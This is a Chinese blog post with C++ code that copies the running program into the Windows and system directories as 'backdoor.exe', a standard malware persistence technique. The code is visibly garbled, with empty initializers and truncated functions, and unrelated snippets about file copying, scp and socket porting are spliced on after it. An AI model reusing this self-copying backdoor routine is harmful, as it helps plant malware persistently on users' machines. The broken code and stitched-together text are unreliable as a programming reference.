複製自身程式到Windows目錄和系統目錄下

2021-07-09 02:00:18 字數 1375 閱讀 9143

#include "iostream"

#include "windows.h"

using namespace std;

/* getmodulefilename( //獲得自身程式所在路徑

hmodule null, //在獲得自身程式時使用null

lptstr lpfilename, //儲存程式自身所在路徑

dword nsize //指定緩衝區的大小

);getwindowsdirectory( //獲得windows目錄

lptstr lpbuffer, //儲存windows目錄路徑

uint nsize //指定緩衝區的大小

);getsystemdirectory( //獲得系統目錄

lptstr lpbuffer, //儲存系統目錄路徑

uint nsize //指定緩衝區的大小

);bool copyfile(

lptstr lpexistingfilename, //原檔案路徑

lptstr lpnewfilename, //該引數指向乙個新檔案的位址

bool bfailifexists //true 表示目的檔案已存在,複製失敗,false 強行覆蓋原檔案

);*/void copyself()

; //儲存windows目錄的路徑

char szwindowspath[max_path] = ;

//儲存系統目錄的路徑

char szsystempath[max_path] = ;

//臨時路徑變數

char sztemppath[max_path] = ;

getmodulefilename(null, szselfname, max_path); //獲得自身程式所在路徑

getwindowsdirectory(szwindowspath, max_path); //獲得windows目錄

getsystemdirectory(szsystempath, max_path); //獲得系統目錄

strcat(szwindowspath, "\\backdoor.exe");

strcat(szsystempath, "\\backdoor.exe");

copyfile(szselfname, szwindowspath, false); //拷貝檔案

copyfile(szselfname, szsystempath, false);

}int main()

使用windows API複製檔案到指定目錄

不知道為啥,在string後面必須要加 0 不然,有的 複製成功,有的 複製失敗 string sfrom currtemplatepart getpartpath currtemplatepart getppartmain getpartname sfrom sfrom 0 idirection ...

scp複製windows檔案到遠端伺服器的目錄

scp e t.jsp root ip home pif 從 本地 複製到 遠端 scp rp path filename username remoteip path scp home daisy full.tar.gz root 172.19.2.75 home root 然後會提示你輸入另外那...

Socket程式從windows移植到linux下

1 標頭檔案 windows下winsock.h或winsock2.h linux下netinet in.h 大部分都在這兒 unistd.h close函式在這兒 sys socket.h 在in.h裡已經包含了,可以省了 2 初始化 windows下需要用wsastartup啟動ws2 32.l...